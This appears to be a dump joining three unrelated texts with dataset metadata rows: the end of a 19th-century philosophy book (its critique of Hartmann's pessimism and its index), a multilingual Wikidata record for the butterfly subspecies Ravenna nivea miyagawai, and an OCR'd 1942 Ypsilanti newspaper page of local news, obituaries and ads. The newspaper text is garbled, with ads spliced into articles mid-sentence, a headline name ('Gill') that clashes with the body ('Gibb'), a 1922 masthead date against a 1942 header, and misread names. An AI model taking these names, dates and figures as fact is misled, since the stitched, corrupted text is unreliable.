asceti¬ cism, self-denial, and the privation of nourishment, to cease to be. Hartmann justly objects, that this would be only protracted and painful suicide by starvation, and be no more efficient as a means of bringing the world to an end than the death of an individual in the ordinary course of nature. Final deliverance from the misery of this world cannot be obtained by an act of individual Will, as this is merely phenomenal, but only by universal consent, which would be an expression of the universal Will that is both one and all. And this deliverance is not near at hand, but must be worked for as an object in the distant future. It can take place only at the close of “ the Process,” at the termination of the struggle between Consciousness and the Will, when the develop¬ ment of the former shall have reached its climax, at the last day, HARTMANN’S METAPHYSICS OF THE UNCONSCIOUS. 479 when the cravings of the Will shall be silenced, when activity Bhall cease, and “ Time shall be no more.” We can do something, indeed, to hasten this consummation, by laboring for the advance¬ ment of knowledge, which will finally convince the whole human race, that all is vanity and vexation of spirit. Not by personal renunciation and cowardly withdrawal from the conflict, therefore, as Schopenhauer teaches ; but by bearing our burden, by affirming the Will to live with all its pains and sorrows, by devoting our¬ selves to the cultivation of the intellect and to the education of the race, shall we help to bring the universe nearer to the haven of rest, to the blissful repose of nothingness. u Bravely onward, then, in the great Process of development, as laborers in the Master’s vineyard! For it is only this Process which can lead to final re¬ demption.” And this is the Gospel of Monistic Atheism! It is one long wail of despair, which always must have utterance when man finds that he is without a Father, and the universe without a God. It would be a waste of time and effort to dwell upon the extravagance of the theory, or to offer arguments in its confuta¬ tion ; for I cannot believe that it is seriously entertained, as an opinion influencing conduct, by any sane student, or even by its author himself. Any system which is based upon an arbitrary denial of these two fundamental truths of consciousness may be summarily put aside; it can merit notice only as a matter of curiosity, and as an illus¬ tration of the wild vagaries of which the human mind is capable. Nearly all that is really valuable in Hartmann’s work is found in its first two Books, which contain the whole Philosophy of the Unconscious properly so called. In these we have a storehouse of curious and interesting facts, admirably illustrated and dovetailed into system, and much that is original and profound in speculation. The third Book, containing what is called “ the Metaphysics of the Unconscious,” is for the most part an exercise of perverted ingenuity, for it is a jumble of incongruities and contradictions. It is an attempt to reconcile materialism with spiritualism, realism with idealism, optimism with pessimism, atheism with the belief in a divine Providence, and monism with common sense. But even this medley will be of service to the attentive student, as it evinces a large acquaintance with German philosophy, and great power of 480 MODERN PHILOSOPHY. reducing its different systems to their briefest possible expression, of pointing out their leading characteristics, and making nice dis¬ tinctions between them. Even at his worst, Hartmann has three considerable merits; he is learned, he is ingenious, and he is never dull. INDEX ♦ Absolute, philosophy of the, 328 ; ex¬ planation of the, 329 ; cannot be thought, 339. Antinomies of Kant, 233. Aristotle on the origin of knowledge, 40 ; on Universals, 132. Berkeley, theory of vision by, 141; his theory of Idealism, 148 ; admits the uniformity of nature, 151; reduces force to volition, 152; realizes ideas, 153. Categories, Kant on the, 195, 202; ta¬ ble of the, 204. Causality, principle of, 287; in vegeta¬ ble life, 289. Cause, distinguished from Substance, 30 ; secundum fieri distinguished from secundum esse, 32; Final, 274; Efficient, 278 ; Causa cognoscendi , four sorts of, 292 ; Causa essendi , 293. Comte, philosophy of, 264. Conceptualism, meaning of, 129; truth of, 135. Condillac, philosophy of, 155. Continuity, law of, 110,112 ; Locke and Grove on, 122. Critique of Pure Reason analyzed, 170; of Revelation, by Fichte, 311. Darwinism anticipated by Leibnitz, 123. Descartes, biography and character of, 22; not a skeptic, 23 ; method and starting-point of, 24; his Cogito , ergo sum f 25, 34; on the veracity of God, 31 26 ; his proof of the being of God, 27; on Innate Ideas, 28; neglects the idea of Cause, 30; on continuous creation, 31; on the essence of matter and mind, 32; on the idea of the Infinite, 33 ; on thought and the Ego, 35; different works of, 36. Empiricism refuted by Kant, 164. Essence of matter and mind, 32; nom¬ inal distinguished from real, 33 ; He¬ gel on the doctrine of, 384. Ethics, Kant’s Groundwork of, 245; of Fichte, 324; of Schopenhauer, 417, 425. Fichte, philosophy of, 310; life and character of, 311, 325; Critique of Revelation by, 311; Wissenschaftslehre of, 312; fundamental principle of, 313; on the Ego, 316; builds on Descartes, 317 ; absolute Idealism of, 318; the method of, 320; other principles of, 322 ; Ethics of, 324; on the Absolute, 330. Final Cause, Positivism on, 274; Hart¬ mann on, 277, 434. Freedom of the will proved, 296. God, veracity of, 26; proof of the being of, 27 ; the idea of, in the soul of man, 42, 48; three forms of the idea of, 49; threefold root of the innate idea of, 52; revealed by the religious sentiment, id. ; and by conscience, 53; defects of the metaphysician’s idea of, 54, 242; Spinoza’s definition of, 66 ; Male- 482 INDEX branche on perception through ideas in, 79; Kant on the idea of, 238. Hamilton, Sir W., borrowed his phil¬ osophy from Pascal, 87, 91; on the limitations of human knowledge, 97; on Freewill, 297. Hartmann on Final Cause, 277, 434; life and character of, 429; pessimism of, 431, 475; Monism of, 433, 468 ; his proofs of the Unconscious, 435; on instinct, 437 ; on the plastic power of nature, 440; on Will and Intellect, 441; on language, 443; on memory, 448 ; materialism of, 449, 466; on the emotions, 452; aesthetics of, 454; on mysticism, 456; on consciousness, 457, 466 ; on metaphysics, 459; on Space and Time, 460; on the purpose of the universe, 461, 476; on Matter, 462; on the genesis of Space, 464; on in¬ dividualism, 471; optimism of, 472; on the origin of evil, id.; refutes Schopenhauer, 478; faults and merits of, 479. Hegel, life and character of, 357; pe¬ dantic dialect of, 358; his absolute Idealism, 359; polar logic of, 360; conciliatory system of, 362; Phenom¬ enology of the Spirit by, 364 ; resolves all into one, 365; on Absolute Being, 366; identifies God with man, 370; compared with Locke, 371; technical¬ ities of, id.; develops one into all, 373 ; Immanent Dialectic of, 374 ; his logic illustrated, 376; on the Idea of Pure Being, 377; his first trichotomy, 378; illustrated, 380; summary result of, 381; ambiguities of, 382; baseless assumptions of, 383; on the doctrine of Essence, 384; on outward Nature, 386; on Spirit, 388. Idealism, Berkeley’s theory of, 148; Kant’s confutation of, 215; Fichte’s system of, 318 ; insufficiency of, 319; Hegel’s absolute, 359, 370; Schopen¬ hauer on, 394. Ideas, Malebranche on perception by, 77; and on the origin of, 78; classification of, by Leibnitz, 102; Kant on tran¬ scendental, 225 ; genesis of, 226. Imagination, Kant on the office of, 193, 211. Infinity, Descartes on the idea of, 33; of space, 94; of time, 95; Kant on the idea of, 237. Innate Ideas, Descartes on, 28, 38; criteria or tests of, 43; proved by the instincts of brutes, 45; how they ex¬ ist in the mind, 46; of God, 51. Kant, philosophy of, 156; life and char¬ acter of, 160 ; opposes dogmatism, 163 ; and empiricism, 164; on a priori ele¬ ments of knowledge, 167; on Sense and Understanding, 168,175 ; on analytical and synthetical judgments, 170; tran¬ scendental aesthetics of, 171; percep¬ tion analyzed by, 173; on Space, 176; and Time, 177; on empirical reality, 181: on transcendental ideality, 182; on arithmetic, 186; on geometry, 187; on the imagination, 193 ; on self-con¬ sciousness, 194 ; on the Categories, 195, 202; revised theory of perception by, 197; rejects idealism, 198, 215; on the Ego of consciousness. 200, 231; on pure Physics, 209; on Schematism, 210 ; on the Schema of Causality, 217; his Transcendental Dialectic, 221; on the Unconditioned, 224; on Transcen¬ dental Ideas, 225; on the Antinomies, 233 ; on the Infinite, 237; on the proof of a God, 238, criticism of, 241; his Groundwork of Ethics, 245; on ab¬ solute good, 246, 255; on the Categori¬ cal Imperative, 248; on necessity and free will, 252; on immortality and a God, 257; Schopenhauer’s criticism of, 397; on aesthetic perception, 421. Knowledge, origin of, 38; Plato, Wordsworth, and Keble on, 39; Aris¬ totle on, 40 ; Manning on, 41. Language, symbolic use of, 20; the Un¬ conscious in, 443. Leibnitz, on the criteria of innate INDEX. 483 ideas, 43; on the Monad, 45; on the Primum Cognitum, 47 ; comprehen¬ sive genius of, 99; life of, 100; logic and method of, 102 ; his optimism, 103, 474; origin of evil explained by, 105, 475; on necessary and immuta¬ ble truths, 107; scheme of universal writing by, 109; monadologv of, 110, 114; three fundamental axioms of, 110; preestablished harmony of, 115 ; on Substance, 116; doctrine of latent ideas by, id.; reconciles mechanism with Teleology, 118; on the scale of exist¬ ences, 120 ; development theory of, 121 ; anticipations of modern science by, 123; his theory compared with Darwin’s, id. ; conflicting doctrines reconciled by, 125. Locke, Essay on Human Understanding by, 11; on the law of Continuity, 122. Logic, definition of, 16 ; of Hegel, 374. Malebranche, life and character of, 73; philosophy of, 74; his doctrine of me¬ diate perception, 77; on the origin of ideas, 78 ; on seeing all things in God, 79; on Occasional Causes, 80; on Cau¬ sation, 82; doctrine of, confirmed by modern science, 83 ; on the ubiquity of God, 84; on the intelligible world, 85. Manning on the origin of knowledge, 41. Mansel on conceiving creation, 98. Mathematics, Kant’s theory of, 183, 185; an intuitive science, id. Matter deteriorates by use, 14; reduced to force, 149. Metaphysical conception of God de¬ fective, 54. Mill, J. S.,on conceiving infinite space, 94; on determinism of the will, 305. Monadology of Leibnitz explained, 110, 114. Motivation, action of, 290, 293, 298. Necessity, Spinoza’s doctrine of, 70; Kant on, 252; Huxley and Spencer on, 261; Schopenhauer on, 286; disproved, 296; presupposes freedom, 304; statis¬ tical evidence on, 308. Nominalism, meaning of, 128, 132; truth of, 134; extravagance of, 139. Optimism of Leibnitz versified by Pope, 104; Hartmann on, 431, 472. Pascal, life and character of, 87; on the grandeur and misery of man, 89 ; the philosophy of, 90; Hamilton’s philos¬ ophy borrowed from, 87, 91; on the Law of the Conditioned, 93; refutes empiricism, 94; lesson of humility en¬ forced by, 96; on the limitations of human knowledge, 97. Pessimism, Schopenhauer on, 413; argu¬ ments for, 414 ; fallacy of, 418 ; Hart¬ mann on, 431. Philosophy of the 17th century, 1 ; study of, inevitable, 9; definition of, 10; reactions in the history of, 154, 259; of the Absolute, 328; of the Un¬ conscious, 429, 432. Plato on the origin of knowledge, 39 ; on ideas, 131, 420. Polar logic of Fichte, 321; of Schelling, 342; of Hegel, 360. Pope, optimism of, derived from Leib¬ nitz, 104. Positivism explained and criticized, 259; two meanings of, 264; theology of, 265; essential doctrine of, 266 ; assumes that matter is indestructible, 269; assumes that memory is trust¬ worthy, 270; assumes the existence of self, 271; has no ground for induction, 272; denies Final Cause, 274 ; on Effi¬ cient Causes, 278; incapacitates Phys¬ ical Science, 281; bad logic of, 283. Preestablished Harmony of Leib¬ nitz, 115. Psychology, definition of, 12. Realism and Nominalism, 127, 129; truth of, 133. Schelling, philosophy of, 327; on the Absolute, 328; life and character of, 484 INDEX 4 333; influence of, on physical science, 336; intellectual intuition of, 338, 344; argues against Fichte, 340; the method of, 342; objective pantheism of, 345 ; on Nature, 346; Potenzes of, 348; on Absolute Identity, 351; subjective the¬ ory of, 354. Schematism of Kant, 210. Schopenhauer on Space and Time, 179; on the principle of Sufficient Reason, 285; life and character of, 389; on the World as Presentation and Will, 392; idealism of, 394; on Time and Space, 398, 401; on the World as Will, 403; on Force as Will, 406; on Occasional Causes, 409; on animal life, 411; on death, 412; pessimism of, 413; ethics of, 417, 425; aesthetics of, 420 ; on the Platonic Idea, id.; on injustice, 426; on pity, 427. Science distinguished from knowledge, 15; Physical, depends solely on the senses, 267 ; ambiguity of, 268; on Final Cause, 275. Space, Kant on the idea of, 176; a priori truths concerning, 179; relations of, 188. Spinoza, life and character of, 60; in¬ debted to Descartes, 61; Substance wrongly defined by, 62; on the causa suij 63; his definition of God, 66; on the unity of Substance, 68 ; his doc¬ trine of Necessity, 70; on Absolute Be¬ ing, 72. Substance distinguished from Cause, 30 ; Spinoza’s definition of, 62 ; an ab¬ stract general idea, 65; Spinoza’s proof of the unity of, 68 ; Leibnitz on the idea of, 116; Kant on the Category of, 213. Sufficient Reason, principle of, 110; Schopenhauer on, 285; four-fold root of, 287; analysis of, 294; of volition, 298. Teleology reconciled with mechanism, 118. Thought, science of, 17; perception of difference necessary for, 18 ; three pro¬ cesses of, 19 ; laws of, 20 ; proceeds by limitation and negation, 21; possibility of abstract, 136; in music, 137 ; of re¬ lation or ratio, always general, id. Time, Kant on the idea of, 177; a priori truths concerning, 179. Transcendental ^Esthetics of Kant, 170; Logic of Kant, 192, 219; Dialec¬ tic of Kant, 221; meaning of, 222. Unconditioned, Kant on the, 224. Unconscious, the, Philosophy of, 4291 432; proofs of, 435 ; involuntary move¬ ment, 436 ; in instinct, 437; in the heal¬ ing power of nature, 439; in mental action, 442; in language, 443; ill thought, 445; in invention, 447: in memory, 448; in aesthetic judgments, 454; in character, 455; value of, 457 ; defects of, 458; Metaphysics of, 459 ; exists outside of Space and Time, 465; infinite wisdom of, 472; ultimate pur¬ pose of, 476. Understanding, Kant on the, 223. Universals or general ideas, 130; Plato on, 131; Aristotle on, 132; not limited by space or time, 138. Vision, Berkeley’s theory of, 141. Will, as absolute good, Kant on, 246; freedom of the, 285, 294; not subject to compulsion, 303; determinism of the, 305; whimsical and capricious, 306; uniformity of, 307; as guided by intellect, 441. Wordsworth on the origin of knowl¬ edge, 39 ; pantheistic poetry of, 335. | 27,925 |
https://www.wikidata.org/wiki/Q21356232 | Wikidata | Semantic data | CC0 | null | Ravenna nivea miyagawai | None | Multilingual | Semantic data | 961 | 2,771 | Ravenna nivea miyagawai
Ravenna nivea miyagawai instance of taxon
Ravenna nivea miyagawai taxon name Ravenna nivea miyagawai, taxon author Toshihiko Katayama, taxon author Kotaro Saito, year of publication of scientific name for taxon 2011
Ravenna nivea miyagawai taxon rank subspecies
Ravenna nivea miyagawai parent taxon Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai nature de l’élément taxon
Ravenna nivea miyagawai nom scientifique du taxon Ravenna nivea miyagawai, date de description scientifique 2011
Ravenna nivea miyagawai rang taxonomique sous-espèce
Ravenna nivea miyagawai taxon supérieur Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai это частный случай понятия таксон
Ravenna nivea miyagawai международное научное название Ravenna nivea miyagawai, дата публикации названия 2011
Ravenna nivea miyagawai таксономический ранг подвид
Ravenna nivea miyagawai ближайший таксон уровнем выше Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai instancia de taxón
Ravenna nivea miyagawai nombre del taxón Ravenna nivea miyagawai, autor del taxón Toshihiko Katayama, autor del taxón Kotaro Saito, fecha de descripción científica 2011
Ravenna nivea miyagawai categoría taxonómica subespecie
Ravenna nivea miyagawai taxón superior inmediato Ravenna nivea
Ravenna nivea miyagawai
Unterart der Art Ravenna nivea
Ravenna nivea miyagawai ist ein(e) Taxon
Ravenna nivea miyagawai wissenschaftlicher Name Ravenna nivea miyagawai, veröffentlicht im Jahr 2011
Ravenna nivea miyagawai taxonomischer Rang Unterart
Ravenna nivea miyagawai übergeordnetes Taxon Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai istanza di taxon
Ravenna nivea miyagawai nome scientifico Ravenna nivea miyagawai, data di descrizione scientifica 2011
Ravenna nivea miyagawai livello tassonomico sottospecie
Ravenna nivea miyagawai taxon di livello superiore Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai екземпляр на таксон
Ravenna nivea miyagawai име на таксон Ravenna nivea miyagawai, дата на публикуване на таксон 2011
Ravenna nivea miyagawai ранг на таксон подвид
Ravenna nivea miyagawai родителски таксон Ravenna nivea
Ravenna nivea miyagawai
taxon
Ravenna nivea miyagawai is een taxon
Ravenna nivea miyagawai wetenschappelijke naam Ravenna nivea miyagawai, taxonauteur Toshihiko Katayama, taxonauteur Kotaro Saito, datum van taxonomische publicatie 2011
Ravenna nivea miyagawai taxonomische rang ondersoort
Ravenna nivea miyagawai moedertaxon Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai est taxon
Ravenna nivea miyagawai taxon nomen Ravenna nivea miyagawai, annus descriptionis 2011
Ravenna nivea miyagawai ordo Subspecies
Ravenna nivea miyagawai parens Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai є одним із таксон
Ravenna nivea miyagawai наукова назва таксона Ravenna nivea miyagawai, дата наукового опису 2011
Ravenna nivea miyagawai таксономічний ранг підвид
Ravenna nivea miyagawai батьківський таксон Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai instancia de taxón
Ravenna nivea miyagawai nome del taxón Ravenna nivea miyagawai, autor del taxón Toshihiko Katayama, autor del taxón Kotaro Saito, data de publicación del nome de taxón 2011
Ravenna nivea miyagawai categoría taxonómica subespecie
Ravenna nivea miyagawai taxón inmediatamente superior Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai sampla de tacsón
Ravenna nivea miyagawai ainm an tacsóin Ravenna nivea miyagawai, bliain inar foilsíodh ainm eolaíoch an tacsóin 2011
Ravenna nivea miyagawai rang an tacsóin fospeiceas
Ravenna nivea miyagawai máthairthacsón Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai este un/o taxon
Ravenna nivea miyagawai nume științific Ravenna nivea miyagawai, anul publicării taxonului 2011
Ravenna nivea miyagawai rang taxonomic subspecie
Ravenna nivea miyagawai taxon superior Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai instância de táxon
Ravenna nivea miyagawai nome do táxon Ravenna nivea miyagawai, data de descrição científica 2011
Ravenna nivea miyagawai categoria taxonómica subespécie
Ravenna nivea miyagawai táxon imediatamente superior Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai jest to takson
Ravenna nivea miyagawai naukowa nazwa taksonu Ravenna nivea miyagawai, data opisania naukowego 2011
Ravenna nivea miyagawai kategoria systematyczna podgatunek
Ravenna nivea miyagawai takson nadrzędny Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai là một đơn vị phân loại
Ravenna nivea miyagawai tên phân loại Ravenna nivea miyagawai, ngày được miêu tả trong tài liệu khoa học 2011
Ravenna nivea miyagawai cấp bậc phân loại phân loài
Ravenna nivea miyagawai đơn vị phân loại mẹ Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai instancë e takson
Ravenna nivea miyagawai emri shkencor Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai esiintymä kohteesta taksoni
Ravenna nivea miyagawai tieteellinen nimi Ravenna nivea miyagawai, tieteellisen kuvauksen päivämäärä 2011
Ravenna nivea miyagawai taksonitaso alalaji
Ravenna nivea miyagawai osa taksonia Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai honako hau da taxon
Ravenna nivea miyagawai izen zientifikoa Ravenna nivea miyagawai, deskribapen zientifikoaren data 2011
Ravenna nivea miyagawai maila taxonomikoa azpiespezie
Ravenna nivea miyagawai goiko maila taxonomikoa Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai estas taksono
Ravenna nivea miyagawai taksonomia nomo Ravenna nivea miyagawai
Ravenna nivea miyagawai taksonomia rango subspecio
Ravenna nivea miyagawai supera taksono Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai natura de l'element taxon
Ravenna nivea miyagawai nom scientific Ravenna nivea miyagawai, data de descripcion scientifica 2011
Ravenna nivea miyagawai reng taxonomic sosespècia
Ravenna nivea miyagawai taxon superior Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai instància de tàxon
Ravenna nivea miyagawai nom científic Ravenna nivea miyagawai, data de descripció científica 2011
Ravenna nivea miyagawai categoria taxonòmica subespècie
Ravenna nivea miyagawai tàxon superior immediat Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai instantia de taxon
Ravenna nivea miyagawai nomine del taxon Ravenna nivea miyagawai, data de description scientific 2011
Ravenna nivea miyagawai rango taxonomic subspecie
Ravenna nivea miyagawai taxon superior immediate Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai instância de táxon
Ravenna nivea miyagawai nome taxológico Ravenna nivea miyagawai, data de descrição científica 2011
Ravenna nivea miyagawai categoria taxonômica subespécie
Ravenna nivea miyagawai táxon imediatamente superior Ravenna nivea
Ravenna nivea miyagawai
Ravenna nivea miyagawai
Ravenna nivea miyagawai instancia de Taxón
Ravenna nivea miyagawai
Ravenna nivea miyagawai instancia de taxon
Ravenna nivea miyagawai nome do taxon Ravenna nivea miyagawai, data de descrición científica 2011
Ravenna nivea miyagawai categoría taxonómica subespecie
Ravenna nivea miyagawai taxon superior inmediato Ravenna nivea | 45,938 |
sn97063183_1942-04-03_1_10_1 | US-PD-Newspapers | Open Culture | Public Domain | 1,942 | None | None | English | Spoken | 2,472 | 3,943 | PAGE TEN Ann Arbor News Former Clerk H. M. (Gill) Receives Parole From Prison Ann Arbor, Mich. Apr 7—State parole board Thursday announced the parole of Emmett M. Gibb, former Washington County clerk, from the Southern Michigan Prison, Jackson, where he was serving a term on embezzlement charges. Victory Home! 5 ROOMS AND BATH $2,807.20 FULL PRICE MODEL OPEN Only $385 Down and $100 Price—Subject to Change, Without Notice I have on sale, Michigan Open Evenings BILL ELLIOTT TEX RITTER in ‘KING OF DODGE CITY’ —ADDED— “RIDERS OF DEATH VALLEY” —Starting Sunday— Joe E. Brown in “Shut My Big Mouth” Also—Edith Fellows in “Girl’s Town” PIECE Continuous Shows—Saturday, Sunday, Holidays RICHARD! And Look Added to Same Programme HEIS'S COMEDY M'S GOT EVENING Starts Sunday—Special Easter Show Starts Sunday—Special Easter Show The former clerk was sentenced November 14, 1939, to a term of five to 10 years in prison after his conviction by a jury which deliberated only 11 minutes. He had maintained his innocence in the case, although being accused of being a criminal. NOW!! 2 Grand Shows Today and Saturday DEKKER - DAVIS EDDIE FOY, JR. Tonight and Saturday 2 Big Features embezzling $5,547.52 in relief funds handled through his office between 1936 and 1939. A special audit of his books was made after several township supervisors reported that their townships were being rebilled by the relief commission for relief charges they had paid to the clerk's office. The specific charge against Gibb was embezzling $669.51 turned into the office by Ypsilanti Township. Mr. Gibb, 50 years old, was formerly an operator of a general store in Dixboro and also served as Superior Township supervisor. His special parole was granted with the approval of Circuit Judge George Sample who had recommended the minimum term when sentence was passed. The sentence would have expired next year. Also approving the parole were present Prosecutor George Meader and the former prosecutor, Albert Rapp. Theta Sigma Phi Will Sponsor Matrix Table. Women Writers Guests Ann Arbor, Mich., Apr. 3—Outstanding college women and journalists have received invitations in the past week to attend the second annual Matrix Table sponsored by Theta Sigma Phi, national honorable fraternity for women in journalism. Six hundred women editors, advertisers, publishers, authors, and women actively continuing college contacts have been asked to attend this invitational banquet April 11 at the Michigan Union at 7 p.m. All former Hopwood writers are being invited as well as the present women editors of the various University of Michigan publications staff. Mrs. Alexander G. Ruthven, wife of the president of the University, has been asked as a representative of the University as well as Dean Alice C. Lloyd and Dr. Margaret Bell. Private Rites Today For Mrs. Thomas Buell, Elmira, Ann Arbor, Mich., Apr. 3—Private services were to be conducted this afternoon at 3:30 in the Muehling Chapel for Mrs. Thomas Buell, Elmira, Mich., a former resident of Ann Arbor. Rev. C. H. Loucks was to officiate and burial was To be in Forest Hill Cemetery. Mrs. Buell was the daughter of the late Mr. and Mrs. Benjamin Waite. Survivors include her husband, one daughter, Mrs. Elinor Gunder son, and a sister, Miss Agnes Waite, also of Elmira. Services in Chelsea for W. Appleton, Ann Arbor, Mich., Apr. 3—Last rites have been arranged for Saturday afternoon at 2:30 in the Plankel Funeral Home, Chelsea, for Walter Appleton, Ann Arbor, who passed away Wednesday. Burial will be in Oak Grove Cemetery. Mr. Appleton was born in Leeds, England, March 3, 1855. Survivors include one son, William, Detroit; two daughters, Mrs. M. J. Dunkel, Chelsea, and Miss Hilda Appleton, Ann Arbor; six grandchildren and one great-grandchild. MARRIAGE LICENSES Ann Arbor, Mich., Apr. 3—Marriage license applications: Thomas Henry Cook, 20, Detroit, and Mary Helen Wild, 21, Ann Arbor. Thomas G Holcomb, 25, Ann Arbor, and Mary B. Johnson, 24, Ann Arbor. Norman Tyson Brown, 21, Ann Arbor, and Margaret Agnes Foster, 19, Ann Arbor. William Henry Seitz, 24, Chelsea, and Virginia M. Lehman, 20, (Hass Lake). Carl R Geddes, 31, Ann Arbor, and Marie E. Sisson, 30, Lansing. FUNERAL THIS MORNING Ann Arbor, Mich., Apr. 3—Rites were this morning at 11 o'clock in the Dolph Funeral Home for Mrs. Annie Madison Harris, who succumbed Wednesday afternoon at the home of Mrs. Alex Dow, Barton Hills, where she had been employed 23 years. Burial was to be in Baltimore. FROM THE DU PONT WONDER WORLD OF CHEMISTRY THE YPSILANTI DAILY PRESS, YPSILANTI, MICH, FRIDAY, APRIL 8, 1922 Sentenced to Life —Central Press Phone Photo Guarded by Michigan State Troopers Joseph Godlewskl, left, and Rov Perkins. Dominick Piccone, 20, second from left, is pictured in Pontiac Mich., after he had confessed slaying three men and kidnapping a fourth in 30 hours. The kidnapped man, who was forced by Piccone to drive for him during his flight from police, was Ray Thorpe, second from right. Pontiac war worker and neighbor of two of the slain men. Within 10 hours more, Piccone pleaded guilty to first degree murder and "as sentenced to life imprisonment. Five New Artists Will be Presented in May Program Ann Arbor, Mich., Apr. 3 —The forty-ninth annual May Festival, May 6, 7, 8, and 9, will present five new artists in addition to the established favorites. New to festival goers will be Helen Traubell, outstanding American soprano of the Metropolitan Opera; Judith Hellwig, of Czechoslovakian Opera, Felix Knight, American virtuoso; Rabbi Barnett R. Brickner of Euclid Avenue Temple, Cleveland; and Carroll Glenn, American violinist, whose recent performances have placed her among the musical elite. Sergeant Rachmaninoff, world-renowned pianist; Jan Peerce, Metropolitan star; Mack Harrell, baritone of the Metropolitan Opera; Training Frovided For Immunization Clinics Ann Arbor, Mich. Apr 3—Civilian Defense Volunteers from the Ann Arbor office are receiving training to prepare them for volunteer service in the County Health Department immunization clinics planned for the area around Ann Arbor and in some of the one room rural schools in the county. Volunteer offices in the village of Chicago, Dexter, Milan, Saline, and Manchester will be called upon for volunteer women to work in a similar capacity in the village schools. The volunteers from the Alin Arbor council are: Mrs. Edith Wheeler, Mrs. Elizabeth Perry, Mrs. Elizabeth Langford, Mrs. Anne Timmons, Mrs. Loretta Jacobs, Mrs. R. H. Simpson, Mrs. Walter Hullsbury, Mrs. Esther Angell, Mrs. James Foster; alternate are Mrs. Marcia Peterson, Mrs. Ellen Upton, and Mrs. Willard Olson. At the first training session held at the Health Department, particular emphasis was placed on the importance of immunizing against those children who have had toxoid for diphtheria prevention in the past. It was pointed out that repeating the immunization this year would raise the resistance of children who had had treatments at previous clinics. Funeral Being Arranged For California Resident Ann Arbor, Mich, Apr. 3—Funeral arrangements are being made for the funeral of Mrs. Mary E. Smith, who died at the age of 85. For Sanford Dunbar, San Diego, Calif., a former resident of Ann Arbor, who accumulated Tuesday in California. The remains will be brought to Ann Arbor for services and burial. Mr. Dunbar was born In Water loo, Mich, October 15. ISS6. the son of Rev. James and Mary Robin son Dunbar. He had been a resi dent of Ann Arbor and Grass Lake until leaving for the West in 13TB. Surviving are hi* wife, the form er Eva McClellan. Ann Arbor; one daughter, Mrs. Martin Howard. Ann Arbor, a granddaughter, Mrs. Kenneth Kensler, Vinrennes, Ind , and a stepson, Merle McClellan, i New York City. Gne-Coat dap DUCO •16 W V Mt O*» FOR FURNITURE, WALLS AND WOODWORK DUCO is so amazingly easy to use. produces such a tile-like surface, you won't stop painting until every scarred and worn surface in your home has been given new DUCO beauty! Flows free of brush marks- PINT ' ONLT dries quickly. A damp cloth keeps f\(y its surface clean and sparkling! Eighteen modern colors. Shaefer Hardware 124 W. MICHIGAN ♦ PHONE 48 Endi Szantho. contralto of Ameri can and European operas; Marian Anderson. distinguished negro artist; and Emanuel Feuermann. violoncellist, are all specialists in their respective roles as well as familiar to music lover3. In addition to these soloists. The Philadelphia Orchestra, with its fiery conductor. Eugene Ormandy: and Saul Caston. his associate, will conduct. The University Choral Union, nationally known, under the direction of Thor Johnson, will continue its part in making this years festival a success. RITES IN FLORIDA Ann Arbor. Mich.. Apr. 3—Last rites were conducted in Bradenton, Fla., today for Carroll P. Briggs. 42. former president of the Washtenaw 11 umber Company who passed away 1 Tuesday in Bradenton. HURT IN FALL Ann Arbor. Mich . Apr. 3—A fall from the lop of a University truck, : loaded with boxes, resulted in a cut forehead and bruises on h's hands for Edward Nimz. 503 N. Ashley St. Thursday. Nimz was riding atop the boxes as the truck rounded a corner on Fuller St. for SPRING WE ARE ready to provide any credit worthy man or woman in this community with extra cash for Spring needs, clothing, car repairs, home repairs, or other seasonal needs. CONVINIINT PAYMENTS With a loan from you, you can get a lump sum of cash immediately, and repay in moderate monthly installments. These loans are made quickly and privately, on your signature alone, or on furniture or auto... to single or married men and women, whether on a new job or an old one. Outsiders not involved. SIMPLY TO APPLY. Let us know how much you want... any amount from $10 to $20 or more. Naturally, we’ll ask you for a few facts, but there will be no embarrassing questions. Why not come in or phone today? National Finance Co., 14 N. Washington St., Phone 582 (Second Floor) Pick of the Air Today National Broadcasting Company —Red network, WLW 700, WV. 950, WHAM 1100, WMAQ 670, Blue network, WXYZ 1270, WLW 700, WGN 720, Columbia Broadcasting Company —WJR 760, WBBM 780, WCKY 1530, WFBM 126, WGAR 148 b., WBNS 1460, WOOD 1310, WOWO 1190. Mutual Broadcasting Company, network, WLW "00, CKLW 800. Tonight THE WAR—7:00 M. BS 7:15 NBC, 7:25 MBS. 8:00 MBS. 8:55 CBS, 10:00 MBS, 10:43 CBS-East, 11:00 CBS, 12:00 NBC CBS. 12:55 NBC CBS. GOOD FRIDAY PROGRAMS MBS 10:15 "Seven last Words of Christ" by Brooklyn Philharmonic Chorus NBC 10:30 Sermon "The Cruci fixion”, Msgr. Multon J. Sheen. NBC —S:00 Lucille Manners Concert 8:30 Information Please, Mme. Litvinoff 9:30 Waltz Time 9:30 Plantation party CBS —7:30 (West 10:30) Bob Haw, Quiz 8:00 Kate Smith Hour 8:00 Sir Cedric Hardwick in Mr. 9:30 First Nighter 10:00 Glenn Miller Band MBS —7:15 Here's Morgan 8:15 What Price Victory, Secretary Wickard 8:20 American Preferred Concert Saturday THE WAR—Morning: 8:00 NBC CBS. 8:45 NBC. 9:00 CBS. 10:00 MBS, 10:15 MBS, 